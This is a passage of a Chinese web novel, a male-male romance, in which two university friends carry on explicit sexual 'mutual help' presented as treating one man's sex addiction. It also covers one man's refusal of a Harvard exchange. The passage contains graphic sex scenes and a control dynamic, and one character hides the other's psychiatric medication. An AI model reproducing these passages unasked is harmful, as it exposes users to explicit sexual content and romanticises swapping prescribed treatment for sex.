陈则眠想了想:“对。” 陆灼年:“这是因为我,对不对?” 陈则眠隐约觉得哪里不对,但陆灼年逻辑又很畅通,听起来没什么问题,就略显迟疑地看向陆灼年。 陆灼年也正在看他。 对视的刹那,陈则眠脑中回闪过陆灼年低头的瞬间,思绪停转了千分之一秒,紧接着全身的血都开始往下涌。 陆灼年目光轻移动,落在陈则眠腹下的位置,云淡风轻道:“陈则眠,你又有反应了。” 陈则眠被瞧得浑身过电似的酥麻,下腹紧绷的感觉越来越强烈,臊得抬手去捂陆灼年眼睛:“别一直盯着我看!” 随着理智复苏,陆灼年的洁癖也活过来了,他往后躲了一下,嫌弃道:“别碰我,手脏。” 陈则眠看了下自己的右手:“脏也是碰你脏的。” 陆灼年起身往浴室走:“去洗洗。” 陈则眠小声嘀咕道:“现在又爱干净了,刚才咽我儿子的时候怎么不嫌脏。” 陆灼年脚步微顿,回身看向陈则眠。 陈则眠没想到陆灼年能听到,一口气没喘匀,又咳嗽了两声。 “你今天好像咳嗽了很多次,”即便是在神昏意乱的情况下,陆灼年仍保留了极为敏锐的观察力,恍惚记得听到陈则眠咳了好几次:“接电话的时候嗓音也不对,你是不是又过敏了?” 陈则眠否认三连:“不是,没有,怎么可能。” 陆灼年并未采纳陈则眠的辩解,将其咳嗽的问题归结到早上那盆草莓,冷酷地宣判了草莓死刑:“以后都不许吃了。” 陈则眠飞扑过去,一把抓住陆灼年的胳膊,求情道:“不要啊陆少,少吃一点没事的,以前都没有因为吃草莓犯过哮喘,可能是这次吃多了,或者是品种的问题!”为了获得草莓赦免权,陈则眠一直在求陆灼年放过,从陆灼年洗澡就开始求,求到自己洗澡,还伴着哗啦啦的水声和陆灼年说话。 陆灼年手下留情,改判了草莓死缓。 流水冲走了所有暧昧痕迹,陈则眠整个人都清醒了很多。 陈则眠开始重新审视着自己的性向。 因为和同性相互帮助爽到,并产生期待,能否作为确定性向的标准呢? 陈则眠左思右想,觉得这件事情好像无论从哪个方面看,都没有到改变性向的程度。 毕竟男人下半身的事真的很难讲。 换成个飞机杯,他也一样会很爽啊,那总不能说,他的性向选择里还多了飞机杯吧。 光期待互助的话,好像并不能算全弯了。 那就得往更深了想。 那么他是否期待和男人发生更亲密的关系? 比如爱抚、亲吻…. 啊啊啊啊啊啊啊啊啊啊啊,不行不行,想不了一点。 陈则眠一想到自己和哪个男人亲嘴子,就他妈一阵恶心,刚才所有旖旎香艳的想法全部化为乌有,荡然无存。 亲嘴都接受不了,更不用说更进一步了。 可以用嘴,但不能亲嘴! 就像可以互撸但不能亲脖子一样,这都还是停留在相互帮助的范畴。 虽然不知道正常直男间相互帮助会不会用嘴,但陆灼年本身就不是个正常直男,性.瘾患者需要的刺激更强烈,所以尺度大一点也能理解,没什么值得大惊小怪的。而且陆灼年虽然自称是GAY,但也只是要求他‘用嘴’,也没有要求‘亲嘴’。 综上所述,即便两个人行为略有越线,感情上也还是没有超过的。 仍然是特别、特别、特别铁的兄弟。 陈则眠一边继续洗澡,一边和陆灼年确认道:“陆灼年,我们还是好兄弟,对吧。” 陆灼年沉默几秒:“你和其他兄弟也可以这样吗?” 陈则眠‘卧槽’了一声,说:“当然不行!这不是为了给你治病吗?” 陆灼年沉默几秒:"可我无法控制自己发病时的行为,想要的只会越来越多,对你而言最好的选择就是停下来,别管我了。" “你说的这叫什么话?治病不能半途而废,而且是我自己主动要帮你治病,才把你需求打开了的,要是现在甩手不管那我成什么人了?”陈则眠先是大声反驳了陆灼年,然后又小声且不满地嘀咕了一句:“哪儿有这么做兄弟的。” 陆灼年眼睑微垂。 他意识到陈则眠对‘好兄弟′的执着超乎寻常。 仿佛只有把他们的行为限定在‘好兄弟''的范畴,一切才能说得过去。 颇有点欲盖弥彰的意味。 通过陈则眠反复强调的行为,陆灼年推测他可能隐约察觉到了不对劲,但又在理智上排斥这种反常,所以给两个人所有越界的举动都包上了一层‘好兄弟′的外衣,试图通过这种方式,让不断报错的感官系统排除异常。 这是在说服自己,也是在提醒陆灼年。 陈则眠又迟钝又警惕,像一只乖觉的猫科动物,想要抓他上钩,必须保持耐心、循序渐进。 贸然出手只会把人惊走,绝不能操之过急。 于是,他暂时认可了陈则眠的限定词。 得到陆灼年的肯定后,陈则眠脸上的表情一下子放松下来。 太好了!陆灼年也觉得他们是好兄弟。这绝对是个绝佳喜讯。 一旦掺杂超乎兄弟之外的感情,那么事情将变得异常复杂,超出陈则眠处理能力之外的复杂。 他不是个怕麻烦的人,但他很怕和陆灼年之间的关系变得麻烦。 是好兄弟的话一切就简单很多了—— 只要好兄弟,那他和陆灼年谁直谁弯都无所谓了,再没有什么可别扭的。因为陆灼年对他很够意思,所以他也投桃报李,自愿帮陆灼年治病,治好了万事大吉,治不好也是尽力而为。两个人所有的行为都是为了治病,没有任何其他纠葛,因果关系清楚明晰、逻辑链条简单明了。陈则眠想通之后神清气爽,洗完澡披着浴巾就出来了。他头上脸上都沾着水,整个人湿漉漉的,水珠顺着光滑的皮肤往下淌,划过下颌、脖颈,最终滴在肩膀上。陆灼年额角轻轻跳了两下,非常君子地转眸避开视线:“你衣服呢?”陈则眠像只湿毛小狗,抖着水说:“我裤子脏了,给我拿条干净的。”陆灼年指了指自己的柜子。 陈则眠晃荡到柜子前,翻出条勉强还算合身的裤子,因没有干净内.裤,直接就套上了。 "……" 陆灼年莫名地开始头疼,说:“这条裤子给你了。” “这就不要了?”陈则眠转头看了陆灼年一眼,嬉皮笑脸地挑衅道:“那你是不是也该把嘴给我。” 陆灼年面无表情,抬眸看着陈则眠。 陈则眠后脊发凉,立刻不嘻嘻了,穿好卫衣,拎上换下来的床品往外走,强行转移话题:“下午还有课吗?没课回家吧。”陆灼年伸手拽住陈则眠卫衣帽子。 陈则眠后背微僵。 陆灼年声音异常低哑:“本来瘾就刚过去,你又招惹我,考虑过后果吗?” 挑衅陆大少的后果非常严重。 陈则眠后来嘴都酸了,喉咙比做了一百次核酸还疼。 他这才知道刚才陆灼年有多么克制。 或许是发泄过一次的缘故,陆灼年这回的意识比之前要清醒。 也正是因为清醒,压迫感也更强。 来不及咽下去的口水顺着唇角缓缓淌下。 陆灼年轻轻撞了陈则眠一下,沉声道:“自己接好,我没有衣服给你换。” 陈则眠看着陆灼年手边的纸巾,往后退了退:“你就不能给我擦一下吗?” 陆灼年好整以暇地坐在床铺边沿,居高临下地看着陈则眠,说:“剩下这些纸巾只够擦一样东西,你希望是你的口水吗?”陈则眠立刻摇了摇头。 陆灼年轻笑一声,拉了陈则眠一把:“起来吧。” 陈则眠捏着脸活动下巴:“你不要了?” 陆灼年看了眼时间:“就你这个速度,等他们下课回来完不了。” 陈则眠悄悄把手上的口水往陆灼年衣服上抹:“那你就这么走?回家再说?” 陆灼年闭了闭眼:“等它自己下去吧。” 陈则眠惊诧:“还能自己下去?” 陆灼年斜睨陈则眠:“这次没那么严重。” 陈则眠炸毛道:“没那么严重你让我给你用嘴!” 陆灼年云淡风轻:“刚才那么一个瞬间,就是控制不住想用什么把你嘴堵上。” 陈则眠:"……" 两个人又重新收拾了一番,这次陈则眠学乖了,没有再说什么挑衅抽象的话,以防陆灼年怒然大勃,产生想往他嘴里塞东西的奇怪冲动。 开车回盛府华庭的路上,陆灼年的手机打进来好几个电话,他都没有接。 陈则眠瞥了眼闪烁不断的手机,问:“是有什么事吗?” 陆灼年偏头看向陈则眠:"为什么这么问?" 陈则眠说:“上次你犯病不就是接到了不好的消息吗,这次手机又一直震,肯定是有什么事。” 陆灼年语气平淡:“也不算坏消息,学校推荐我当交换生,出国留学一年。” 陈则眠下意识说:“这么久。” “临时通知今年春季去,我给拒了,”陆灼年阖上眼,略显疲惫地靠在副驾驶座椅上:“家里和学校轮番打电话游说,说来说去也都是那些话,没什么意思,很烦。”陈则眠还是第一次听到陆灼年发牢骚,感觉有些惊奇,侧过头看了眼他。 陆灼年紧紧绷着脸,神色冷峻,英俊的眉宇间拢了层烦躁,有种罕见的负气与不满。 向来从容自若,游刃有余的陆家少爷,大多数时候都是冷静自持,沉着稳重的,很少在人前表露出这么不成熟的一面。 正因如此,常常让人忽略了他的实际年龄。 还是个会赌气的小龙傲天呢。 陈则眠看得新鲜,忍不住多瞥了几眼。 陆灼年脑门上像长了眼睛,闭着眼也知道陈则眠在看他:“怎么了?” 陈则眠摇摇头:“没啥,让你去哪儿留学?你为啥不去?” 这是两个问题,但陆灼年只捡了前面一个回答:“哈佛。” 听到‘哈佛’二字,陈则眠微微愣了半秒。 他意识这可能是剧情节点来了。 原书中,陆灼年是有过哈佛留学背景的,当时还有读者提出疑问说:男主不是B大高才生吗?怎么又成哈佛留学生了,作者是不是给主角叠了太多设定写混了。这个问题作者当时没有回应,但段评中人回复过说可能是交换生之类。 交换留学生解释,也得到了大多数读者的认可。 现在看来还果真如此。 陆灼年这段交换留学的经历,在原书中虽然是背景设定,但却属于一个极其重要的剧情转折点。 因为后文中出现过的许多关键人物,都是他在哈佛留学期间结识的,包括什么华尔街大佬、沙特王室的王子、伯爵九世的长女、财阀会长的儿子、Y国王室的王储等等。多元文化的交融和交流开阔了男主的视野,也提供了更多机遇,人脉的铺展更是为后续商业帝国的建立,打下了夯实有力的基础。 “这是很难得机会。” 陈则眠真心实意地说:“哈佛大学底蕴深厚,在商业管理和经济学研究方面引领全球思潮,去那里留学不仅能获得知识,还能结交很多人脉。”陆灼年笑了一下,没说话。 去哈佛留学的益处无需多言,他比任何人都清楚。 况且类似的言辞,他今天听了很多。 和学校说的是还没做好准备,和家里说的是身体状态不稳定,没有人想到他会拒绝,学校和家里都在不停地劝说,希望他能再考虑考虑。陆灼年没有什么可需要考虑的,因为那两个理由本来就是随口编纂的托词,原本也并不成立。 他的各项绩点遥遥领先,身体问题也不是一两年了。 拒绝交换留学的真实原因,陆灼年没有和任何人提起,因为这里面涉及一个他要隐瞒和掩藏的名字—— 陈则眠。 他不是为了陈则眠拒绝留学,而是为了自己能够追到陈则眠而拒绝。 归根到底,出发点还是他自己。 但听到这个答案的人们不会这么认为,他们会觉得陆灼年鬼迷心窍,甚至因此而怨怪陈则眠。 陆灼年不能理解这些人的逻辑,但他知道大众普适性思维是什么样的。 举个最简单的例子,人们都说周幽王烽火戏诸侯是为了褒姒,但真实完整的原因难道不是[周幽王自己想看到褒姒的笑容]吗?这是为了周幽王他自己,而不是为了褒姒。 结合以上这个陆灼年非常不能理解、但已经流传了千年的昏君历史来看,他必须隐藏掉陈则眠的名字。 反正既然怎么都要担‘鬼迷心窍’的名头,那还不如直接让人以为是他自己昏了头,才选择不去哈佛留学。 然而陆灼年并不觉得自己昏头。 相反,对于这件事情,他有着非常清楚的权衡和考量: 以自己的成绩和陆家的财力来讲,他可以选择在人生中的任何一年去哈佛留学。 陆灼年冷冷道:“你猜。” 作者有话说□显示所有文的作话 第67章第67章 但他可不是每一年都有能够追到陈则眠的机会。 像陈则眠这样没心没肺的性格,现在半途而废,突然出去留学一年,等自己从国外回来,那可真是回到起点了。 尤其是自从叶玺回学校以后,邀请陈则眠的饭局也渐渐多了起来,今天这个张总,明天那个周董,都想请约陈则眠出来吃饭,请他帮忙解决自家孩子的厌学问题。好在陈则眠最近忙着新游戏上线的事,没时间参加那些聚会,但约他的局却已经排到了今年六月。 这种时候,陆灼年就更不能走了。 以上种种想法,他无法向学校、陆家和陈则眠三方说明,故而这三方出奇一致,无形中统一了战线,纷纷劝他出国留学。 陆灼年不胜其扰,单独约了叶宸去喝酒解闷。叶宸一听陆灼年约他喝酒就觉得新鲜。 再结合学校里‘留学交流’季的开始,他很容易就猜到了陆灼年为何心情不佳。 叶宸倒了杯酒,推给陆灼年:“陈则眠怎么说。” 陆灼年看了叶宸一眼:“和他有什么关系。” 叶宸也看向陆灼年,反问:“和他没关系吗?” 陆灼年说:“没关系。” 叶宸表情没太多变化,端起酒杯:“那好吧,看来我也不用劝可颂出去留学了。” 陆灼年眉梢轻动:“和可颂有什么关系?” 叶宸说:“没关系。” 陆灼年:“…. “留学邀请的名额里也有可颂,”叶宸好心提醒道:“听说你不留学去,可颂也不想去,你也知道他那英语水平,自己一个人在国外,饿死之前都不一定能学会怎么点餐。”陆灼年深以为然。 叶宸晃了晃酒杯中的冰块,继续说:“陈则眠在京市,最好的两个朋友就是你和可颂,有些话你讲不出口,但可颂说就很容易了。” 陆灼年:“什么话?” 叶宸语气淡淡:“当然是求陈则眠陪他去留学之类的话。” 陆灼年眼睫微敛:“我也没有很想让他去。” 叶宸眉梢抬起:“是吗。” 陆灼年很肯定地说:“是。” 关于是否要去哈佛念书这件事,陆灼年做过许多规划,但这些规划里,没有一项是让陈则眠陪他去留学的。 陈则眠的朋友不止有他和可颂,陪着他们出国待一年,陈则眠会很没意思。 陆灼年做事注重效率,要么就不去留学,既然选择去了,重心肯定是放在学业和社交上,不会有太多时间用来陪陈则眠。 B大开学以后,陆灼年大多时间都在学校,一般只有晚上在家,也不能像放寒假时那样经常和陈则眠出去玩,回家也是在书房看文献、做调研、写论文。 但陈则眠不会觉得无聊,因为他有自己的事情做,也有自己的朋友。 他可以去射击场、可以去自己工作室,可以约萧可颂、约刘越博、约薛铎、约闫洛,偶尔还会去唐老家吃饭,和他们一起打游戏、玩纸牌。 薛铎的大伯薛正伟也很喜欢陈则眠的性格,陈则眠这几次去唐老家,都是薛正伟亲自来接的。 陈则眠有自己的社交圈。 他的世界不能、也不应该只有陆灼年。 陆灼年说:“我不能让他只围着我,也不会同意萧可颂把他骗出国。” 对此,叶宸的评价只有两个字:“情圣。” 陆灼年无语地看向叶宸:“我只是想谈一段正常的恋爱,如果我想让他的世界里只有我,现在就不会坐在这里和你喝酒。” 叶宸言简意赅:“对,你应该在床上。” 陆灼年面无表情:“能清清你脑子里的脏水吗?” 叶宸:“很难。” 陆灼年把酒费压在杯子下面,起身抚过衣襟:“回家了。” 叶宸长腿撑在地上,饶有兴味道:“不喝酒回家干什么呢?” 叶宸缓缓转了下椅子,语气淡淡:“我可猜不到。” 68、第68章 陆灼年并不是很想让叶宸猜中。 但最近他心情本就不佳,晚上又喝了酒,回家还看到陈则眠满屋乱晃。 几重因素叠加,凌晨时分,在身体意志力最薄弱的时刻,自然而然地犯了病。 所以叶宸还是猜中了。 那时已经很晚了,陆灼年本来是想自己拿了药吃的。 开学后有很多早八的课,陈则眠为了不影响他,现在也不怎么熬夜了,两个人作息都稳定且正常。 这个时间陈则眠已经睡了,陆灼年本意是不想吵醒他的。但陆灼年打开药柜后,却发现自己的一柜子的药都不见了。 别说是一瓶,就连一粒都没有了。 陆灼年:“….” 不用说,肯定是陈则眠给收了起来。 这种精神类的处方药只能去医院开,药店里买不到,陆灼年没办法现买,只能把陈则眠叫醒,问他把自己的药放到了哪里。 陈则眠当时正在做梦。 梦中桃香旖旎,湖水潋滟。 薄雾如碎裂的磷火,满天星辰都在颤抖,陈则眠浸在熟悉的春风中,柔软温热,舒服得连蜷起手指的力气都没有。就在他浮上云端之前,陆灼年的声音从现实传入梦境。 “陈则眠。”花瓣坠落,潮水退去。 陈则眠睁开眼,没好气道:“干嘛?正做梦呢!” 陆灼年听到陈则眠微哑的声音,微微一顿,没有问什么梦,只是问:“你把我药放哪儿了?” 陈则眠清醒了一点,撑着手坐起身:“你犯病了?” 陆灼年喉咙滚了滚:“嗯。” 陈则眠立刻来了精神:“太好了。” 陆灼年:"?" 陈则眠自春意无边的梦境中醒来,正意犹未尽、兴味无穷,没想到刚巧遇上陆灼年性.瘾发作。 这不是正瞌睡就送来了枕头吗? 两个人正好可以相互帮助。 梦境的内容陈则眠自不会提,只嘟嘟囔囔、故作大方地说:“那我帮你。” 陆灼年心火燥热,耳鸣不断,没听到陈则眠小声嘟囔的话,又问了一遍:“你说什么?药放哪儿了?” 陈则眠扯住陆灼年睡衣袖子,直接把人往床上拽:“我都醒了你还吃什么药,来吧。” 陆灼年犹豫半秒:“太晚了,我今天不想…” 陈则眠一把抓住陆灼年:“你肯定想。” 陆灼年呼吸刹那停顿,带着冷质的磁性嗓音响起:"陈则眠。" 陈则眠握着陆灼年,很有技巧地揉捻抚弄,压着声音,很小声地说:“我帮你一次,你帮我一次,好不好。” 陆灼年瞳孔涣散了一瞬,引以为傲的自制力摇摇欲坠:“你想让我……怎么帮你?” 陈则眠挽起袖子,学着陆灼年说话的语气:“用嘴。” 陆灼年全身都在升温,大脑像烧开了似的又疼又烫,但理智并未完全消退。 他没办法容许自己在清醒的状态下,做出那么出格的事情。 陆灼年闭了闭眼,拒绝道:“不行。” 陈则眠有办法让陆灼年行。 他抬头看了陆灼年一眼,不断往下滑去。 陆灼年拉住陈则眠,说:“别闹,你气管本来就敏感,上次嗓子发炎,又咳嗽了好久。” 陈则眠推开陆灼年的手,直接含了上去。有性.瘾的那个理智尚存,没病的那个先精虫上脑了。男人为了爽,本来就容易失去底线,况且陈则眠从来也没什么底线。之前没尝过那种湿热柔软的滋味,自给自足也就够了,可自从品味过一次美味珍馐以后,再吃回清粥小菜,就总感觉差了点意思。 那次销魂蚀骨的经历,教会了陈则眠等价交换。 上回陆灼年先用嘴帮了他,后来他也用嘴帮了陆灼年。 纵观互帮互助全过程,他算是小赚。 不光因为陆灼年金贵高傲还洁癖,更关键的是他在最后一刻还那片温热湿软之中,而陆灼年当时脑子不太清醒,甚至还咽下去了。 而他只是浅含了一下,第一次连喉咙都没碰到,陆灼年就准许他用手了,第二次喉咙有被撞到,但也只是几下,陆灼年就把他拽起来了。 综合评断,虽然他两次用嘴,但服务质量远低于陆灼年的一次。 陆灼年卓尔不群、出类拔萃,无论做什么事都能做到最好,比糊弄了事的陈则眠强得太多。 故此,陈则眠认为这种交换,于他而言非常非常合适。 陆灼年所剩无几的理智,在陈则眠一次次卖力的吮吸中冰消瓦解。 冰封已久的炽热情感,化为一道道奔腾不息的春水,浊浪汹涌澎湃,浩浩荡荡地向陈则眠流去。 他很清楚陈则眠想要什么,也知道这一切对陈则眠而言更像一种利益上的互换。 但心理上的满足感战胜了一切。 陆灼年轻抚陈则眠鼓起的侧脸,喉结颤了颤,闭上眼任由理智失守。 他也满足了陈则眠。 被温湿口腔包裹住的瞬间,陈则眠像是被电流打中,从头顶连着脊椎后背一路酥麻。 陈则眠发出一声压抑又适意的低音。 太爽了,太爽了! 这种感觉,无论尝试多少次,都让陈则眠有种爽到想死的感觉。 如醉如痴、魂摇魄乱。 灵魂仿佛被割成了两半,拉扯着他沉沉浮浮。 一个自己觉得和男人这样嘴来嘴去的不好,另一个自己又觉得这只是在帮陆灼年治病。 一个说治病的话你为什么要贪图享受,另一个这事乐于助人的福利。 颠倒感和错乱感不仅没有消除他身体的快乐,反因这丝有违常理的沉沦而更加刺激。 修长雪白的双腿曲起又伸直,身体反应昭示着主人的犹豫与挣扎。 陈则眠不知道究竟该怎样才好。 陆灼年看到那两条漂亮的长腿,眸色愈加幽深。 他按住陈则眠的脚腕,沉声命令:“不许乱动。” 陆灼年一开口,包裹着陈则眠的温热自然就消失了。 陈则眠难耐地哼了一声,控制不住腰身的反应,下意识往陆灼年唇边凑,不知轻重地往人嘴唇上怼。 陆灼年微微偏头,避开了陈则眠的要求。 陈则眠的行为虽然已经完全被欲.望左右,但到底还是惮于陆灼年的威慑,只敢做些小动作暗示,不敢强行指挥陆灼年践行互助合约。 鉴于陆灼年没有继续帮他的意思,陈则眠只能抬手自力更生。陆灼年眼眸微垂,看着陈则眠努力了一会儿。 陈则眠有些不好意思,微微侧身躲开正面对狙。 用手的频率快,他又了解自己的身体,陈则眠呼吸越来越快,很快就找到了感觉,没想到就在冲上云巅的前一秒,陆灼年突然抬手压住他的手腕,强行把陈则眠从云端拽了下来。 “陆灼年!” 陈则眠没忍住叫了一声:“你有病啊,快放手!” “你不是第一天知道我有病。”陆灼年音调冷清,不染丝毫情.欲,像是处理公司业务一般,用问下属的语气质问道:“让你碰自己了吗?” 陈则眠振振有词:“你都没帮我到最后,我自己来还不行了?!” 没想着陆灼年只说了一句,陈则眠就哑口无言了。 “那你帮我到最后了吗,陈则眠?” 陆灼年垂下眼帘,盖住眸中所有的暗沉危险,好似在进行一项商业谈判,用冷静的语气、磋商的态度,逐条指出对方工作上的疏忽和怠慢。 “说是帮我治病,却光顾着自己舒服。” 陆灼年紧紧攥着陈则眠手腕,力气非常大,问责道:“陈则眠,你不是个好大夫。” 这么不上不下地吊着最磨人,陈则眠简直快疯了。 偏偏陆灼年在最关键的时刻计较了起来,为了获得对方宽赦,好听的话根本不需要多加思考,就能脱口而出。 陈则眠囫囵道:“我帮你治,帮你治,你先放手,我等会儿保证认真治,努力治。” 陆灼年乌黑的眸子凝着他,语气怀疑:“你能帮我怎么治?” 陈则眠允诺:“你想怎么治都行。” “说得好听,”陆灼年像是打定主意要和陈则眠算总账,见陈则眠逐渐缓了过来,又抬手捻了捻他,在即将消退的火焰上又添了把柴,再次把火高高吊了起来:“每次都偷懒耍滑,身体还娇气,轻轻一撞就咳嗽。” 陈则眠胸膛剧烈起伏,不自觉追随着陆灼年的动作:“咳嗽是生理反应,我忍不住,这不能怪我啊。” 闻言,陆灼年眉梢微皱,手也停了下来。 作为一名社畜,陈则眠对上位者的心思有所了解,通过陆灼年神色变化,他意识到对方这是不想听理由,而是要听解决方法的意思。 陈则眠给出对策:“我以后尽量控制不咳嗽,实在控制不住,你按住我也行。” 陆灼年说:“不想强迫你。” “这怎么是强迫呢?”陈则眠语气笃定地表示:“真受不了的话,我能挣开的。” 陆灼年用审视的目光看了陈则眠两秒,缓缓松开了手。陈则眠如蒙大赦,赶紧弄了两下,还没咂摸出滋味,就又被陆灼年强行按住,他憋得全身微微发红,眼前白光阵阵,但就是到不了顶点。他每次稍微使劲儿挣挣,陆灼年就松松手,看他弄几下,然后又再次按住他,不许他动。来来回回无数次,反反复复,上上下下,根本就是故意折磨人。陈则眠像条被压在案板上的鱼,左右挣不开逃不掉,又像猫爪子下的小老鼠,在生门和地狱间循环往复。快乐与痛苦都是陆灼年掌握,只在他一念之间。陈则眠濒临崩溃的边缘,现在只要陆灼年能彻底放手,别再猫捉老鼠似的戏弄他,让他什么都能行。他整个人都快烧起来了,根本受不了一点,几乎要被逼到绝境,身体和精神犹如绷紧的琴弦,随时都有可能彻底断掉。 “要坏了,要坏了。” 陈则眠双眼蓄满了生理性的眼泪,声音都带了一丝哭腔,耐不住求饶道:“这也不行,那也不行,你到底想怎么样啊陆灼年。” 陆灼年盯着陈则眠微微发红的眼尾,终于开了尊口,说了声:“把裤子脱了,背过去。” 69、第69章 背过去的结果,就是大腿内侧被蹭得一片通红。 陈则眠虽然很瘦,但腿根还是有些肉的,不多,并拢了也夹不住陆灼年。所以还得用手扶着些。他半拢掌心扣在自己腿根,形成一片半真空区域,用于给陆灼年‘治病’。 陆灼年一言九鼎,和说话不算话的陈则眠完全不同,在陈则眠按照要求背过去以后,他就满足了陈则眠想要的一切。 这次陈则眠的感受更加刺激,和前两回不可同日而语。 第一次他是趁陆灼年昏迷,偷偷摸摸进行的治疗,陈则眠自己根本没有往这方面想,当然也没有舒服到,第二次陆灼年提出用嘴,陈则眠断然拒绝结果被先嘴了,舒服过后底线也无了,在餍足飘然中给陆灼年治了病。 这次两个人几乎是同时到达了顶峰。 陆灼年伏在他身后喘息的时候,陈则眠喘得比陆灼年还要厉害。 混乱与颠倒中,二人不再有一丝清醒。 只顾着及时行乐,都忘了及时拿纸。 结果就是陈则眠弄在了自己床上,而陆灼年弄在了他腿上、手上和床上。 浓郁的男麝气息在空中升腾弥漫,中间还夹杂了一缕淡淡的松香。 陆灼年所有贴身衣物都用雪松精油熏过,大抵也是腌入味了,整个人闻起来都香香的。 这也让事情变得简单了许多。 可能是因为他又贵又香,陈则眠不觉得陆灼年脏,接受程度也不自觉变高了许多。 治疗结束后,两个餍足又疲倦,用被子盖住床单上的脏污,挤在仅剩不多的干净位置处休息。 陈则眠觉得爽炸了。 陆灼年则是又开启了新一轮的自我批评和谴责。 他觉得自己很无耻,竟然通过生理上的快感拉扯陈则眠,迫使对方向欲望低头。 这无异于用欲望掌控陈则眠的身体,诱逼陈则眠在精神上向他臣服。 为了得到陈则眠,他手段之恶劣已经超出了自己的想象,卑鄙到了难以接受的程度。 陆灼年控制不了自己。 获得生理上的快感之后,他的欲望并没有因此缓解,内心反而更加躁动。 他想要的更多。 所有的道德与高尚都像是一件冠冕堂皇的华丽外壳,无人知晓这层外壳下是多么龌龊鲜活的欲.望。陆灼年近乎悲哀地看着陈则眠,认为会被自己喜欢上,真是陈则眠这辈子最不幸的事情了。陈则眠正享受着欢愉的余韵,一转头又看到了陆灼年露出了那种熟悉的、哀凉的、自厌的、想死的眼神。 “…….”咋又想死了兄弟,刚才捅我腿的时候不是挺有劲吗。想到刚才销魂蚀骨的滋味,陈则眠喉咙有点干,后脊也微微发麻,小腹蠢蠢欲动。他不由怀疑性.瘾是否会传染。 陈则眠本来还挺清心寡欲的,工作的时候一忙起来身心俱疲,连着好长时间都没有世俗的欲望,现在只是和陆灼年互助了两次,竟然就发展成一对视就小腹发热了。肯定是陆灼年传染的! 可是真的好爽啊。 陆灼年不愧是爽文男主,什么技能都点满到最强,不仅用嘴很厉害,手法也超绝。 到底怎么做到那么爽的啊,和自己弄的感觉完全不一样。 要不要再试一次,夜还很长呢。 陈则眠止不住心猿意马,内心天人交战,犹豫了足足半分钟,才恍惚回过神来,在心里大骂自己实在是太禽兽了!好兄弟犯病了难受的不行,身体好不容易满足以后,情绪又开始陷入低落,正在那儿想死呢,他却还想和人家□□。 这也太不是东西了。 性:瘾最折磨人的,并非身体上的不适,而是情绪上的问题,所以除了生理帮助,心理疏导和安慰也同样重要。 甚至更重要。 陈则眠定了定神,轻轻撞了下陆灼年的肩膀,问他:“你想啥呢。” 陆灼年眼眸轻轻一动:“没什么。” 陈则眠说:“没想什么还一副想死的表情,是不是又搁那儿怪自己呢。” 陆灼年静了几秒,低低地‘嗯′了一声。 “你都咋怪的,能跟我讲讲不,”陈则眠像一只精力旺盛且好奇心重的猫,注意力转移得也很快,扒着陆灼年的脑袋,疑惑道:“你说你天天失眠,没事就谴责自己,情绪还总不好,但怎么不掉头发呢?" 陆灼年:“….…” “最近都没有失眠了,”陆灼年轻轻抿了下嘴唇,说:“你帮过我之后,连续几天都能睡得很好。” 陈则眠不解道:“那你还有什么不满意的?” 陆灼年睫毛颤了颤,用近乎快要消失的声音告诉陈则眠:“我这是在欺负你。” 陈则眠正在回味无穷,没想到陆灼年突然冒出来句这个。 他整个人瞬间呆住,难以置信地看着陆灼年,怎么想都没想明白这个结论从何而来。 陆灼年在欺负我?我咋不知道呢。我还觉得是我在占他便宜呢。 unbelievable. 陆灼年知道陈则眠在看他,但他没有看回去。他不想在陈则眠脸上看到厌恶的神色。 陈则眠见陆灼年没有接收到他的疑惑信号,直接把头伸到了陆灼年对面。 沉闷孤寂的黑暗中,一张白净俊秀、微微潮红的脸乍然出现。 陆灼年呼吸都停了半秒。 陈则眠生了副极好、极好的容貌,骨相周正,皮相更美到没边儿。 可仔细端量,和初见时又似有很大不同。 不知是随着年龄增长,少年的骨骼线条逐渐硬朗,还是人的气质神韵变化会影响五官结构走向—— 陈则眠和从前长得好像不太一样了。 他的眉峰变得凌厉,眼眸依旧漆黑清洌,却似寒潭而非秋水,深不见底、不啻天渊,美得让人不敢直视,下颌线更加明显,即便不笑时嘴角也微微上扬,有种意气风发、舍我其谁的拽劲儿。 许是因为经常运动健身的缘故,个子好像也长高了一些,肩宽腰窄,两条腿又长又直,白得晃眼,肌肉匀称线条分明,既有力量感又不失丰姿。 人依旧是瘦的,但不那么单薄也不那么柔弱,反而像一张弓,外松内紧,整个人颀长挺拔,恣意又张扬。 陆灼年见过许多美人。 清秀的、妖娆的、俊逸的、艳丽的、典雅的、娇俏的、妩媚的无所不有。 他一直不认为自己是个肤浅的人,也从未被漂亮的皮囊迷惑。 可眼下他却晃了晃神,心头仿佛被什么东西撞了一下,开启了奇异而无端的悸动。 陈则眠明明每天都在他眼前。 可陆灼年仿佛直到今天、直到此时此刻才第一次看清陈则眠的脸。 原来他长这个样子。 真的很好看。 陈则眠见陆灼年只看着他不说话,歪了下头,诧异道:“你又想啥呢?” 陆灼年的眼神有瞬息动摇,但还是很坚定地告诉陈则眠:“我对你做的那些事都是不对的,以后我不会那样了。” 陈则眠下意识说了一句:“别呀。” 陆灼年:"?" 他微微侧过头,和陈则眠对视了两秒。 陈则眠有点不好意思地轻咳一声:“我是说,治病嘛,哪有什么对不对的,还有你刚才说什么欺负我,这个结论又是哪里得来的?” “我在试图通过这种方法控制你,陈则眠,”陆灼年眸光幽深,声音低沉,充满着无机质的冷感:“你应该离我远点才安全。” “我没有觉得你在控制我啊,”陈则眠越听越疑惑,也不知该陆灼年这话从何说起的,索性坦言道:"我说过的,我真受不了的话,我是能挣开的。"闻言,陆灼年眸子倏然颤了一下。 陈则眠说他真受不了的话,是能挣开的。 可他没有挣开。 这句话背后的意思再明确不过—— 陈则眠没有想要反抗。 陆灼年对他所做的一切,潜意识里都是愿意的、可接受的。 被陆灼年按住双手时,异样难言的爽快和兴奋如潮水翻涌,那种越得不到越想要的滋味特别消魂,强烈的渴望不断堆叠,令平时唾手可得的快乐变得无比珍贵。当需求不断累积堆到顶点时,迸发的刹那,欢愉感如雪山崩塌,轰然浩荡,绵延不解。 感觉非常、非常刺激。 陈则眠平常几乎没有自制力,所以从来也没获得过这种强行延长、不断叠加的成倍快感。当节奏完全掌握在另一个人手中,在充满力量又不容置疑的安排下,偶尔尝试一次真是爽到腿软。结束后也是余韵悠长,不会有平时里敷衍了事的索然无味。以上种种,陈则眠当然不好意思说得太细,只囫囵地表达了自己的态度。陈则眠故作从容道:“在一瞬间把前面累积的全都宣泄出来,也挺爽的。”陆灼年看向陈则眠,眼神中闪过一丝幽暗。 